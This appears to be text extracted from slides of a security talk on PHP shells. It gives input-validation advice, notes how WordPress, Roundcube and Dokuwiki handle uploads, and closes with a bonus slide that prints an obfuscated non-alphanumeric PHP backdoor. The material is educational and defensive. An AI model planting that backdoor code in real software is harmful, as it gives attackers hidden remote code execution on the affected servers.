  • 33. ● Always be sanitizing and validating inputs. PHP shells can be injected through various vectors: ● Apply programming techniques to eliminate possible SQL injections (escaping, parametrization...) ● Always be escaping shell commands you execute and their arguments. ● Always doublecheck on filenames of files (and their paths!) you handle from the code! Follow good coding practices
  • 34. How to others defend themselves? (three examples)
  • 35. ● As far as file uploads go, WordPress checks for uploaded media types by instancing them in respective modules (i. e. calls GD's getimagesize() on images) ● WordPress is generally very safe CMS. 3rd party plugins are usually the source of security issues and PHP shell infections. WordPress
  • 36. ● Puts no limitation itself on the uploaded content, since it is attached to e-mail messages and then deleted from temporary locations. ● Is it possible to attack remote e-mail clients like that? Depending on the destination client, it's possible. Not something Roundcube devs should and could focus on. Roundcube webmail
  • 37. ● Guesses the mime-type by extension, and you limit allowed mime-types for upload through configuration. ● You can enable upload of "dangerous file types" if you want. Dokuwiki
  • 38. Bonus slide What happens when frustrated Sendmail administrators write PHP shells? http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
  • 39. @$_[]=@!+_; $__=@${_}>>$_; $_[]=$__; $_[]=@_; $_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__]; $_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] = ($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .= ($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .= ($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_]); #ep1cw1n